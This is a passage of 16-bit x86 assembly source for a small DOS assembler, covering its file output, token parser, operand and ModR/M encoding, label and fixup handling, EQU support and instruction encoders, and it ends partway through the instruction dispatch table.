HEX_ADJUST jmp PutChar ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; File Output ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Write output buffer to file WriteOutput: ; Create file mov dx, OutFileName mov cx, 0x0020 ; Attributes mov ah, 0x3c int 0x21 jc .Error mov si, ax ; Save file handle in SI ; Write mov ah, 0x40 mov bx, si mov cx, [NumOutBytes] ; ds:dx -> buffer mov dx, [OutputSeg] push ds mov ds, dx xor dx, dx int 0x21 pop ds jc .Error cmp cx, [NumOutBytes] jne .Error ; Close file mov ax, 0x3e00 mov bx, si int 0x21 ret .Error: mov bx, MsgErrOutput jmp Error ; Output byte in AL to output buffer ; Doesn't modify any registers OutputByte: cmp word [NumOutBytes], OUTPUT_MAX jb .OK mov bx, MsgErrOutMax jmp Error .OK: push di push es mov di, [OutputSeg] mov es, di mov di, [NumOutBytes] stosb inc word [NumOutBytes] inc word [CurrentAddress] pop es pop di ret ; Output word in AX OutputWord: call OutputByte mov al, ah ; Only works because OutputByte is friendly jmp OutputByte ; Output 8-bit immediate if AL is 0, output 16-bit immediate otherwise ; the immediate is assumed to be in OperandValue OutputImm: and al, al jz OutputImm8 ; Fall through ; Output 16-bit immediate from OperandValue OutputImm16: cmp word [CurrentFixup], INVALID_ADDR je .Output call RegisterFixup .Output: mov ax, [OperandValue] jmp OutputWord ; Output 8-bit immediate from OperandValue OutputImm8: mov al, [OperandValue] jmp OutputByte ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Parser ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ParserInit: ; Open file for reading mov dx, FileName mov ax, 0x3d00 int 0x21 jnc .OK mov bx, MsgErrOpenIn jmp Error .OK: mov [InputFile], ax call MoveNext ret ParserFini: ; Close input file mov ax, 0x3e00 mov bx, [InputFile] int 0x21 ret ReadNext: mov ah, 0x3f mov bx, [InputFile] mov cx, 1 mov dx, CurrentChar int 0x21 jc .NotOK ; error code in AX cmp ax, 1 jne .NotOK ; EOF cmp byte [CurrentChar], 10 jne .Ret inc word [NumNewLines] .Ret: ret .NotOK: mov byte [CurrentChar], 0 ret ; Try to get character in AL and ReadNext. Returns carry clear on success. ; I.e. it doesn't skip spaces after consuming the character. TryGet: cmp [CurrentChar], al jne .NoMatch call ReadNext clc ret .NoMatch: stc ret ; Like TryGet but case insensitive TryGetU: call TryGet jc .NoMatch ret .NoMatch: or al, ' ' ; ToUpper jmp TryGet SkipWS: mov al, [CurrentChar] and al, al jz .Done cmp al, ' ' ja .CheckComment call ReadNext jmp SkipWS .CheckComment: cmp al, ';' jne .Done .SkipComment: call ReadNext mov al, [CurrentChar] and al, al jz .Done cmp al, 10 je SkipWS jmp .SkipComment .Done: ret MoveNext: call ReadNext call SkipWS ret ; Consume CurrentChar if it matches AL, move next and ; return carry clear. Carry is set ortherwise. ; AL is left unchanged (for Expect) TryConsume: cmp [CurrentChar], al jne .NoMatch call MoveNext clc ret .NoMatch: stc ret ; Abort if the next character isn't AL Expect: call TryConsume jc .Error ret .Error: mov bx, .Msg mov [bx], al jmp Error .Msg: db '? expected',0 GetToken: push di mov di, Token .Get: mov al, [CurrentChar] cmp al, '.' je .Store cmp al, '_' je .Store ; IsDigit mov ah, al sub ah, '0' cmp ah, 9 jbe .Store and al, 0xDF ; to lower case mov ah, al sub ah, 'A' cmp ah, 26 ja .Done .Store: cmp di, TokenEnd jae .Next ; don't store if beyond limit mov [di], al inc di .Next: call ReadNext jmp .Get .Done: mov byte [di], 0 ; zero-terminate sub di, Token mov ax, di mov [TokenLen], al pop di call SkipWS call FindEqu cmp bx, INVALID_ADDR je .NotEqu ; Found EQU convert it to a hex string (yes a bit lame) mov ax, [es:bx+EQU_VAL] mov byte [TokenLen], 6 mov bx, Token mov word [bx], '0X' add bx, 2 mov cl, 4 .Cvt: rol ax, 4 mov ch, al and ch, 0x0f add ch, '0' cmp ch, '9' jbe .StoreDig add ch, HEX_ADJUST .StoreDig: mov [bx], ch inc bx dec cl jnz .Cvt mov byte [bx], 0 .NotEqu: ret ; Get number to AX GetNumber: call GetToken ; Fall through ; Get number from Token to AX GetTokenNumber: cmp word [Token], '0X' je .Hex ; Decimal number xor ax, ax mov bx, Token xor ch, ch .Dec: mov cl, [bx] and cl, cl jnz .NotDone ret .NotDone: inc bx mov dx, 10 mul dx and dx, dx jnz .Error sub cl, '0' cmp cl, 9 ja .Error add ax, cx jmp .Dec .Hex: mov cl, [TokenLen] sub cl, 2 cmp cl, 4 ja .Error xor ax, ax mov bx, Token add bx, 2 .HexCvt: shl ax, 4 mov ch, [bx] inc bx sub ch, '0' cmp ch, 9 jbe .Add sub ch, HEX_ADJUST .Add: or al, ch dec cl jnz .HexCvt ret .Error: mov bx, MsgErrInvalidNum jmp Error ; Returns carry clear if token is number IsTokenNumber: mov al, [Token] sub al, '0' cmp al, 9 ja .NotNumber clc ret .NotNumber: stc ret ; Read one or two character literal to OperandValue ; Assumes initial quote character has been consumed GetCharLit: movzx ax, [CurrentChar] mov [OperandValue], ax call ReadNext mov al, QUOTE_CHAR call TryConsume jnc .Done mov al, [CurrentChar] mov [OperandValue+1], al call ReadNext mov al, QUOTE_CHAR call Expect .Done: ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Operand Handling ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Get token and see if it's a register or number. ; Returns carry clear on success (token handled). GetRegOrNumber: call GetToken ; Check if register cmp byte [TokenLen], 2 jne .CheckNumber mov ax, [Token] mov bx, RegNames mov cl, R_INVALID .ChecReg: cmp ax, [bx] jne .NextReg sub bx, RegNames shr bx, 1 mov [OperandValue], bx mov byte [OperandType], OP_REG clc ret .NextReg: add bx, 2 dec cl jnz .ChecReg ; Fall through .CheckNumber: call IsTokenNumber jnc .Number ret ; Keep carry set .Number: call GetTokenNumber mov [OperandValue], ax mov byte [OperandType], OP_LIT clc ret ; Get operand to OperandType/OperandValue (and possibly CurrentFixup) GetOperand: ; TODO: Character literal mov al, QUOTE_CHAR call TryGet jc .NotLit mov byte [OperandType], OP_LIT jmp GetCharLit .NotLit: cmp byte [CurrentChar], '[' je GetOperandMem call GetRegOrNumber jc .NotRegOrNumber ret .NotRegOrNumber: ; Check for word/byte [mem] cmp byte [TokenLen], 4 jne .CheckNamedLit mov ax, [Token] mov bx, [Token+2] cmp ax, 'BY' jne .CheckWord cmp bx, 'TE' jne .CheckNamedLit mov byte [ExplicitSize], 1 jmp GetOperandMem .CheckWord: cmp ax, 'WO' jne .CheckNamedLit cmp bx, 'RD' jne .CheckNamedLit mov byte [ExplicitSize], 2 jmp GetOperandMem .CheckNamedLit: ; Otherwise do named literal (fall through) GetNamedLiteral: mov byte [OperandType], OP_LIT call FindOrMakeLabel mov ax, [LabelSeg] mov es, ax mov ax, [es:bx+LABEL_ADDR] cmp ax, INVALID_ADDR je .NeedFixup mov [OperandValue], ax ret .NeedFixup: mov word [OperandValue], 0 ; ; Add fixup for the label ; ; First grab a free fixup pointer mov ax, [NextFreeFixup] cmp ax, INVALID_ADDR jne .FixupValid mov bx, MsgErrFixupMax jmp Error .FixupValid: ; Store the fixup along the other operand data mov [CurrentFixup], ax ; And update the linked list mov cx, [es:bx+LABEL_FIXUP] ; Remember old fixup pointer mov [es:bx+LABEL_FIXUP], ax ; Store fixup pointer ; Done with the label, switch to pointing to the fixups mov bx, [FixupSeg] mov es, bx mov bx, ax ; es:bx points to the new fixup node ; Update free list mov ax, [es:bx+FIXUP_LINK] mov [NextFreeFixup], ax ; And point the link at the old head mov [es:bx+FIXUP_LINK], cx ret GetOperandMem: push si push di mov al, '[' call Expect ; si = MODRM (0xff = displacement only) ; di = DISP mov si, 0xff mov di, 0 .Main: call .DebugM call GetRegOrNumber jc .NamedLit cmp byte [OperandType], OP_REG jne .Lit mov al, [OperandValue] cmp al, R_AX jb InvalidOperand cmp al, R_ES jae .SegOverride call .CombineModrm jmp .Next .SegOverride: sub al, R_ES shl al, 3 or al, 0x26 call OutputByte mov al, ':' call Expect jmp .Main .NamedLit: call GetNamedLiteral ; Fall through .Lit: pusha mov bx, .MsgL call PutString mov ax, [OperandValue] call PutHex call PutCrLf popa add di, [OperandValue] jmp .Next .Next: mov al, '+' call TryConsume jnc .Main mov al, ']' call Expect pusha mov bx, .M2 call PutString jmp .X2 .M2: db 'Done with GetOperandMem',13,10,0 .X2: popa mov [OperandValue], di ; Can't encode [bp] as MODRM=6 mov ax, si cmp al, 6 jne .NotBPRaw and di, di jnz .NotBPRaw or al, 0x40 ; Disp8 .NotBPRaw: cmp al, 0xff jne .NotDispOnly mov al, 6 jmp .Done .NotDispOnly: cmp word [CurrentFixup], INVALID_ADDR je .NoFixup .Disp16: or al, 0x80 ; Disp16 jmp .Done .NoFixup: and di, di jz .Done mov bx, di movsx bx, bl cmp bx, di jne .Disp16 or al, 0x40 ; Disp8 ; Fall through .Done: mov [OperandType], al ;; XXX REMOVE movzx si, byte [OperandType] mov di, [OperandValue] call .DebugM pop di pop si ret .MsgL: db 'Literal ', 0 .DebugM: pusha mov bx, .M call PutString popa pusha mov ax, si call PutHex mov al, ' ' call PutChar mov ax, di call PutHex call PutCrLf popa ret .M: db 'SI/DI: ', 0 ; Modify MODRM in si with 16-bit register in al .CombineModrm: call .Debug and al, 7 mov cx, si mov bx, .TabFF cmp cl, 0xff je .Translate mov bx, .Tab04 cmp cl, 0x04 je .Translate mov bx, .Tab05 cmp cl, 0x05 je .Translate mov bx, .Tab06 cmp cl, 0x06 je .Translate mov bx, .Tab07 cmp cl, 0x07 jne InvalidOperand ; Fall through .Translate: movzx cx, al add bx ,cx mov al, [bx] pusha call PutHexByte call PutCrLf popa cmp al, 0xff je InvalidOperand movzx si, al ret .Debug: pusha mov bx, .Msg call PutString popa pusha mov ax, si call PutHexByte mov al, ' ' call PutChar popa pusha call PutHexByte call PutCrLf popa ret .Msg: db 'Combine ', 0 ; ; Conversion tables from previous modrm value to new ; ; AX CX DX BX SP BP SI DI Current ModR/M meaning .Tab04: db 0xff, 0xff, 0xff, 0x00, 0xff, 0x02, 0xff, 0xff ; SI .Tab05: db 0xff, 0xff, 0xff, 0x01, 0xff, 0x03, 0xff, 0xff ; DI .Tab06: db 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x02, 0x03 ; BP .Tab07: db 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x01 ; BX .TabFF: db 0xff, 0xff, 0xff, 0x07, 0xff, 0x06, 0x04, 0x05 ; Displacement only ret SwapOperands: mov al, [OperandType] xchg al, [OperandLType] mov [OperandType], al mov ax, [OperandValue] xchg ax, [OperandLValue] mov [OperandValue], ax ; Fall through SwapFixup: mov ax, [CurrentFixup] xchg ax, [CurrentLFixup] mov [CurrentFixup], ax ret Get2Operands: call GetOperand mov al, ',' call Expect call SwapOperands jmp GetOperand ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Label Handling ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Define label (from Token) at current address DefineLabel: cmp byte [Token], '.' je .Local ; Non-local label, retire all previously defined local labels call RetireLocLabs .Local: call FindLabel cmp bx, INVALID_ADDR jne .KnownLabel call MakeLabel mov ax, [LabelSeg] mov es, ax mov ax, [CurrentAddress] mov [es:bx+LABEL_ADDR], ax ret .KnownLabel: mov ax, [LabelSeg] mov es, ax cmp word [es:bx+LABEL_ADDR], INVALID_ADDR je .NotDup mov bx, MsgErrDupLabel jmp Error .NotDup: mov ax, [CurrentAddress] mov [es:bx+LABEL_ADDR], ax ; Set label address ; Resolve fixups mov cx, [es:bx+LABEL_FIXUP] ; Store last valid fixup in CX mov word [es:bx+LABEL_FIXUP], INVALID_ADDR mov bx, cx push si push di mov dx, [FixupSeg] mov di, [OutputSeg] .ResolveFixup: cmp bx, INVALID_ADDR je .Done mov cx, bx ; Update last valid fixup node mov es, dx mov si, [es:bx+FIXUP_ADDR] mov bx, [es:bx+FIXUP_LINK] mov es, di add [es:si], ax jmp .ResolveFixup .Done: cmp cx, INVALID_ADDR je .NoFixups mov es, dx mov bx, cx mov ax, [NextFreeFixup] mov [es:bx+FIXUP_LINK], ax mov [NextFreeFixup], bx .NoFixups: pop di pop si ret ; Print Label in BX (assumes ES=LabelSeg). Registers preserved. PrintLabel: push ds pusha mov ax, es mov ds, ax call PutString mov al, ' ' call PutChar popa pop ds mov ax, [es:bx+LABEL_ADDR] pusha call PutHex mov al, ' ' call PutChar popa mov ax, [es:bx+LABEL_FIXUP] pusha call PutHex call PutCrLf popa ret ; Print all labels (registers preserved) PrintLabels: push es pusha mov ax, [LabelSeg] mov es, ax xor bx, bx mov cx, [NumLabels] and cx, cx jz .Done .L: call PrintLabel add bx, LABEL_SIZE dec cx jnz .L .Done: popa pop es ret RetireLocLabs: mov ax, [LabelSeg] mov es, ax xor bx, bx mov cx, [NumLabels] and cx, cx jnz .L ret .L: cmp byte [es:bx], '.' jne .Next cmp word [es:bx+LABEL_ADDR], INVALID_ADDR jne .NotInv .Inv: call PrintLabels call PrintLabel mov bx, MsgErrUndefLab jmp Error .NotInv: cmp word [es:bx+LABEL_FIXUP], INVALID_ADDR jne .Inv mov ax, [NumLabels] dec ax mov [NumLabels], ax jz .Done mov dx, LABEL_SIZE mul dx push ds push si push di push cx mov si, es mov ds, si mov di, bx mov si, ax mov cx, LABEL_SIZE rep movsb pop cx pop di pop si pop ds sub bx, LABEL_SIZE ; Re-do current label .Next: add bx, LABEL_SIZE dec cx jnz .L .Done: ret ; Register fixup for CurrentFixup at this exact output location RegisterFixup: mov bx, [CurrentFixup] mov ax, INVALID_ADDR cmp bx, ax jne .OK mov bx, .MsgErrInternalErr jmp Error .OK: mov [CurrentFixup], ax mov ax, [FixupSeg] mov es, ax mov ax, [NumOutBytes] mov [es:bx+FIXUP_ADDR], ax ret .MsgErrInternalErr: db 'No fixup to register?', 0 ; Find label matching Token, returns pointer in BX or ; INVALID_ADDR if not found FindLabel: push si push di mov cx, [NumLabels] and cx, cx jz .NotFound mov ax, [LabelSeg] mov es, ax xor bx, bx .Search: mov si, Token mov di, bx .Compare: mov al, [si] cmp [es:di], al jne .Next and al, al jz .Done inc si inc di jmp .Compare .Next: add bx, LABEL_SIZE dec cx jnz .Search .NotFound: mov bx, INVALID_ADDR .Done: pop di pop si ret ; Returns pointer to label in BX. Label must NOT exist. MakeLabel: mov ax, [NumLabels] cmp ax, LABEL_MAX jb .OK mov bx, MsgErrLabelMax jmp Error .OK: inc word [NumLabels] mov bx, LABEL_SIZE mul bx mov bx, ax mov ax, [LabelSeg] mov es, ax mov ax, INVALID_ADDR mov [es:bx+LABEL_ADDR], ax mov [es:bx+LABEL_FIXUP], ax push di push si movzx cx, [TokenLen] inc cx mov di, bx mov si, Token rep movsb pop si pop di ret ; Returns pointer to label (from Token) in BX FindOrMakeLabel: call FindLabel cmp bx, INVALID_ADDR je MakeLabel ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; EQU Handling ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Find EQU (from Token) in BX, INVALID_ADDR if not found ; Leaves ES pointer to EquSeg FindEqu: push si push di mov ax, [EquSeg] mov es, ax mov cx, [NumEqus] and cx, cx jz .NotFound xor bx, bx .Main: mov si, Token mov di, bx .Compare: mov al, [si] cmp [es:di], al jne .Next and al, al jz .Done inc si inc di jmp .Compare .Next: add bx, EQU_SIZE dec cx jnz .Main ; Fall through .NotFound: mov bx, INVALID_ADDR .Done: pop di pop si ret ; Create new EQU from Token and the next token(s) (EQU assumed to be parsed) MakeEqu: call FindEqu cmp bx, INVALID_ADDR je .NewEqu mov bx, MsgErrDupEqu jmp Error .NewEqu: mov ax, [NumEqus] cmp ax, EQU_MAX jb .HasRoom mov bx, MsgErrEquMax jmp Error .HasRoom: inc word [NumEqus] mov bx, EQU_SIZE mul bx push si push di movzx cx, [TokenLen] inc cx mov di, ax mov si, Token rep movsb pop di pop si push ax mov al, QUOTE_CHAR call TryGet jc .Number call GetCharLit mov ax, [OperandValue] jmp .HasVal .Number: call GetNumber .HasVal: pop bx mov [es:bx+EQU_VAL], ax ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Directives ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; DirORG: call GetNumber mov [CurrentAddress], ax ret ; AL = 1 if DB 2 if DW DirDX: push si mov si, ax cmp al, 1 .Main: mov al, QUOTE_CHAR call TryGet jc .NotLit ; Handle character literal .CharLit: mov al, QUOTE_CHAR call TryConsume jnc .Next mov al, [CurrentChar] cmp al, ' ' jae .OK mov bx, MsgErrChLitErr jmp Error .OK: call OutputByte ; Always output bytes for character liters call ReadNext jmp .CharLit .NotLit: call GetToken call IsTokenNumber jc .NamedLit call GetTokenNumber cmp si, 1 jne .OutputWord call OutputByte jmp .Next .OutputWord: call OutputWord jmp .Next .NamedLit: cmp si, 2 jne NotImplemented call GetNamedLiteral mov ax, [OperandValue] call OutputWord ; Fall thorugh .Next: mov al, ',' call TryConsume jnc .Main pop si ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Instructions ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; InvalidOperand: mov bx, MsgErrInvalidOpe jmp Error HandleRel16: cmp byte [OperandType], OP_LIT jne InvalidOperand cmp word [CurrentFixup], INVALID_ADDR je .NoFixup call RegisterFixup .NoFixup: mov ax, [OperandValue] sub ax, [CurrentAddress] sub ax, 2 jmp OutputWord ; Output instruction byte in AL and Rel8 if OperandValue is a short ; (known) jump. Returns carry clear on success HandleShortRel: cmp word [CurrentFixup], INVALID_ADDR jne .NotShort ; Too advanced for now mov bx, [OperandValue] sub bx, [CurrentAddress] sub bx, 2 movsx cx, bl cmp cx, bx jne .NotShort push bx call OutputByte pop bx mov al, bl call OutputByte clc ret .NotShort: stc ret ; Output instruction byte in AL, ORed with 1 if OperandValue ; is a 16-bit register (R_AX .. R_DI) OutInst816: ; 16-bit? mov bl, [OperandValue] shr bl, 3 cmp bl, 1 jne .Not16 or al, 1 .Not16: jmp OutputByte ; Outputs MODR/M byte(s) with register in AL ; and memory operand assumed in OperandL* OutputModRM: shl al, 3 or al, [OperandLType] call OutputByte mov al, [OperandLType] cmp al, 6 je .Disp16 and al, 0xc0 cmp al, 0x80 je .Disp16 cmp al, 0x40 je .Disp8 ret .Disp8: mov al, [OperandLValue] jmp OutputByte .Disp16: cmp word [CurrentLFixup], INVALID_ADDR je .Out call SwapFixup call RegisterFixup call SwapFixup .Out: mov ax, [OperandLValue] jmp OutputWord ; Output reg, reg instruction with instruction byte in AL ; The low bit of the instruction is set if OperandValue ; signifies a 16-bit (not sreg) register OutputRR: call OutInst816 mov al, 0xc0 mov ah, [OperandLValue] and ah, 7 or al, ah mov ah, [OperandValue] and ah, 7 shl ah, 3 or al, ah jmp OutputByte ; Output mem, reg otherwise see notes for OutputRR OutputMR: ; TODO: Check if ExplicitSize (it's either redundant or wrong) call OutInst816 mov al, [OperandValue] and al, 7 jmp OutputModRM ; Output reg, mem otherwise see notes for OutputMR OutputRM: push ax call SwapOperands pop ax jmp OutputMR ; Output mem, imm with base instruction in AH, /r in AL OutputMImm: mov bl, [ExplicitSize] dec bl jns .HasSize mov bx, MsgErrNoSize jmp Error .HasSize: push bx push ax or bl, ah mov al, bl call OutputByte ; Opcode pop ax call OutputModRM pop bx mov al, bl jmp OutputImm InstMOV: pusha mov al, '!' call PutChar call PutCrLf popa call Get2Operands pusha mov al, '-' call PutChar mov al, '>' call PutChar mov ah, [OperandLType] mov al, [OperandType] call PutHex call PutCrLf popa cmp byte [OperandLType], OP_REG je .MOVr jb .MOVm jmp InvalidOperand .MOVr: cmp byte [OperandType], OP_REG je .MOVrr jb .MOVrm ; MOV reg, imm mov al, 0xb0 add al, [OperandLValue] call OutputByte mov al, [OperandLValue] shr al, 3 jmp OutputImm .MOVrr: ; MOV reg, reg cmp byte [OperandLValue], R_ES jae .MOVs ; LHS isn't s-reg cmp byte [OperandValue], R_ES jae .MOVrs mov al, 0x88 jmp OutputRR .MOVrs: mov al, 0x8c jmp OutputRR .MOVs: mov al, [OperandValue] sub al, R_AX cmp al, 7 ja InvalidOperand call SwapOperands mov al, 0x8e jmp OutputRR .MOVrm: mov al,0x8A jmp OutputRM .MOVm: pusha mov al, '$' call PutChar popa cmp byte [OperandType], OP_REG je .MOVmr jb InvalidOperand pusha mov al, [OperandLType] call PutHexByte mov ax, [OperandLValue] call PutHex mov al, '#' call PutChar mov al, [OperandType] call PutHexByte mov ax, [OperandValue] call PutHex call PutCrLf popa mov ax, 0xc600 jmp OutputMImm .MOVmr: mov al, 0x88 jmp OutputMR InstXCHG: call Get2Operands cmp byte [OperandLType], OP_REG je .XCHGr ja InvalidOperand cmp byte [OperandType], OP_REG jne InvalidOperand .XCHGmr: mov al, 0x86 call OutInst816 mov al, [OperandValue] and al, 7 jmp OutputModRM .XCHGr: cmp byte [OperandType], OP_REG je .XCHGrr ja InvalidOperand call SwapOperands jmp .XCHGmr .XCHGrr: mov al, 0x86 jmp OutputRR ; AL=second opcode byte InstMOVXX: push ax call Get2Operands pop ax cmp byte [OperandLType], OP_REG jne NotImplemented mov ah, al mov al, 0x0f call OutputWord cmp byte [OperandType], OP_REG je .RR call SwapOperands mov al, [OperandValue] and al, 7 jmp OutputModRM .RR: mov al, [OperandValue] and al, 7 mov ah, [OperandLValue] and ah, 7 shl ah, 3 or al, ah or al, 0xc0 jmp OutputByte ; AL=0 if INC, AL=1 if DEC InstIncDec: push ax call GetOperand pop ax cmp byte [OperandType], OP_REG je .Reg ja InvalidOperand mov ah, [ExplicitSize] dec ah jns .HasSize mov bx, MsgErrNoSize jmp Error .HasSize: or ah, 0xfe push ax mov al, ah call OutputByte call SwapOperands pop ax jmp OutputModRM .Reg: shl al, 3 mov ah, [OperandValue] mov bl, ah and ah, 7 or al, ah or al, 0x40 ; AL = 0x40|dec<<3|(OperandValue&7) shr bl, 3 jnz OutputByte or al, 0xc0 ; Could just be |0x80 since 0x40 is already or'ed in mov ah, al mov al, 0xfe jmp OutputWord ; Base instruction in AL (e.g. 0x38 for CMP) InstALU: push ax call Get2Operands pop ax cmp byte [OperandLType], OP_REG je .ALUr ja InvalidOperand cmp byte [OperandType], OP_REG je OutputMR jb InvalidOperand shr al, 3 mov ah, 0x80 jmp OutputMImm .ALUr: cmp byte [OperandType], OP_REG je OutputRR ja .ALUrl add al, 2 jmp OutputRM .ALUrl: cmp byte [OperandLValue], R_AL jne .ALUrl2 add al, 4 call OutputByte jmp OutputImm8 .ALUrl2: cmp byte [OperandLValue], R_AX jne .ALUrl3 add al, 5 call OutputByte jmp OutputImm16 .ALUrl3: mov ah, al or ah, 0xc0 mov al, [OperandLValue] mov bl, al shr al, 3 push ax or al, 0x80 and bl, 7 or ah, bl call OutputWord pop ax jmp OutputImm ; /r in AL (e.g. 6 for DIV) InstMulDiv: push ax call GetOperand pop ax cmp byte [OperandType], OP_REG jne InvalidOperand ; Output 0xF6 | is16bit, 0xC0 | r<<3 | (OperandValue&7) mov ah, al shl ah, 3 or ah, 0xC0 mov al, [OperandValue] cmp al, R_ES jae InvalidOperand mov bl, al and bl, 7 or ah, bl shr al, 3 or al, 0xF6 jmp OutputWord ; /r in AL (e.g. 4 for SHL) InstROT: push ax call Get2Operands pop bx cmp byte [OperandLType], OP_REG jne NotImplemented cmp byte [OperandType], OP_LIT jne NotImplemented mov ah, [OperandLValue] ; Output 0xc0 | is16bit, 0xC0 | r<<3 | (OperandLValue&7) mov al, ah and ah, 7 shl bl, 3 or ah, bl or ah, 0xc0 shr al, 3 and al, 1 or al, 0xc0 call OutputWord jmp OutputImm8 InstINT: mov al, 0xcd call OutputByte call GetNumber jmp OutputByte InstCALL: call GetOperand cmp byte [OperandType], OP_REG je .CallR mov al, 0xE8 call OutputByte jmp HandleRel16 .CallR: mov al, 0xFF call OutputByte mov al, [OperandValue] and al, 7 or al, 0xD0 ; 0xC0 | (2<<3) jmp OutputByte InstPUSH: call GetOperand cmp byte [OperandType], OP_REG je .PushR jb InvalidOperand cmp word [CurrentFixup], INVALID_ADDR jne .PushImm16 mov ax, [OperandValue] movsx bx, al cmp ax, bx jne .PushImm16 mov al, 0x6A call OutputByte jmp OutputImm8 .PushImm16: mov al, 0x68 call OutputByte jmp OutputImm16 .PushR: mov al, [OperandValue] sub al, R_AX cmp al, 8 jae .PushS or al, 0x50 jmp OutputByte .PushS: sub al, 8 shl al, 3 or al, 0x06 jmp OutputByte InstPOP: call GetOperand cmp byte [OperandType], OP_REG jne InvalidOperand mov al, [OperandValue] sub al, R_AX js InvalidOperand cmp al, 8 jae .PopS or al, 0x58 jmp OutputByte .PopS: and al, 7 shl al, 3 or al, 0x07 jmp OutputByte InstJMP: call GetOperand mov al, 0xEB call HandleShortRel jc .NotShort ret .NotShort: mov al, 0xE9 call OutputByte jmp HandleRel16 ; AL contains the condition code InstJCC: push si mov si, ax call GetOperand mov ax, 0x70 or ax, si call HandleShortRel jnc .Done shl si, 8 mov ax, 0x800F or ax, si call OutputWord call HandleRel16 .Done: pop si ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Constants ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; FileName: db 'in.asm', 0 OutFileName: db 'a.com', 0 MsgCurToken: db 'Current token: "', 0 MsgErrInLine: db 'Error in line ', 0 MsgErrNotImpl: db 'Not implemented', 0 MsgErrNotDone: db 'File not completely parsed', 0 MsgErrUnknInst: db 'Unknown directive or instruction', 0 MsgErrOpenIn: db 'Error opening input file', 0 MsgErrOutput: db 'Error during output', 0 MsgErrMem: db 'Alloc failed', 0 MsgErrInvalidNum: db 'Error invalid number', 0 MsgErrInvalidOpe: db 'Invalid operand', 0 MsgErrLabelMax: db 'Too many labels', 0 MsgErrFixupMax: db 'Too many fixups', 0 MsgErrDupLabel: db 'Duplicate label', 0 MsgErrFixupUnh: db 'Unhandled fixup', 0 MsgErrChLitErr: db 'Invalid character literal', 0 MsgErrUndefLab: db 'Undefined label', 0 MsgErrNoSize: db 'Size missing for memory operand', 0 MsgErrDupEqu: db 'Duplicate EQU', 0 MsgErrEquMax: db 'Too many EQUs', 0 MsgErrOutMax: db 'Output buffer full', 0 RegNames: dw 'AL', 'CL', 'DL', 'BL', 'AH', 'CH', 'DH', 'BH' dw 'AX', 'CX', 'DX', 'BX', 'SP', 'BP', 'SI', 'DI' dw 'ES', 'CS', 'SS', 'DS' ; Each entry has "DISPATCH_SIZE" and starts with a NUL-padded string ; of size INST_MAX followed by a byte that's passed in AL (AX) to the ; function in the final word. DispatchList: ; Directives db 'DB',0,0,0, 0x01 dw DirDX db 'DW',0,0,0, 0x02 dw DirDX db 'ORG',0,0, 0x00 dw DirORG ; MOV/XCHG db 'MOV',0,0, 0x00 dw InstMOV db 'XCHG',0, 0x00 dw InstXCHG ; MOVSX/MOVZX db 'MOVZX', 0xB6 dw InstMOVXX db 'MOVSX', 0xBE dw InstMOVXX ; INC/DEC db 'INC',0,0, 0x00 dw InstIncDec db 'DEC',0,0, 0x01 dw InstIncDec ; ALU instructions (argument is base instruction) db 'ADD',0,0, 0x00 dw InstALU db 'OR',0,0,0, 0x08 dw InstALU db 'ADC',0,0, 0x10 dw InstALU db 'SBB',0,0, 0x18 dw InstALU db 'AND',0,0, 0x20 dw InstALU db 'SUB',0,0, 0x28 dw InstALU db 'XOR',0,0, 0x30 dw InstALU db 'CMP',0,0, 0x38 dw InstALU ; Misc db 'NOP',0,0, 0x90 dw OutputByte db 'REP',0,0, 0xF3 dw OutputByte db 'CLC',0,0, 0xF8 dw OutputByte db 'STC',0,0, 0xF9 dw OutputByte ; Mul/Div instructions (argument is /r) db 'MUL',0,0, 0x04 dw InstMulDiv db 'IMUL',0, 0x05 dw InstMulDiv db 'DIV',0,0, 0x06 dw InstMulDiv db 'IDIV',0, 0x07 dw InstMulDiv ; Rotate instructions (argument is /r) db 'ROL',0,0, 0x00 dw InstROT db 'ROR',0,0, 0x01 dw InstROT db 'RCL',0,0, 0x02 dw InstROT db 'RCR',0,0, 0x03 dw InstROT db 'SHL',0,0, 0x04 dw InstROT db 'SHR',0,0, 0x05 dw InstROT db 'SAR',0,0, 0x07 dw InstROT ; Stack instructions db 'POP',0,0, 0x00 dw InstPOP db 'POPA',0, 0x61 dw OutputByte db 'PUSH',0, 0x00 dw InstPUSH db 